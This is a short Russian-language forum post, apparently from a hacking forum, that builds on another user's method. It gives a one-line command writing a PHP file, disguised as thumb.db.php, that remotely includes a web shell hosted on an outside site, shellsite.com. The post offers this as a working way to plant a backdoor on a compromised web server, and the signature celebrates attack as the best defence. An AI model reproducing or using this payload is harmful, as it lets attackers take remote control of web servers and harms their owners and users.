либо так же как Scipio сказал, но через инклуд echo+'<?php+include("http://shellsite.com/shell.txt");+?>'>thumb.db.php

__________________
Лучший способ защиты - это нападение!!!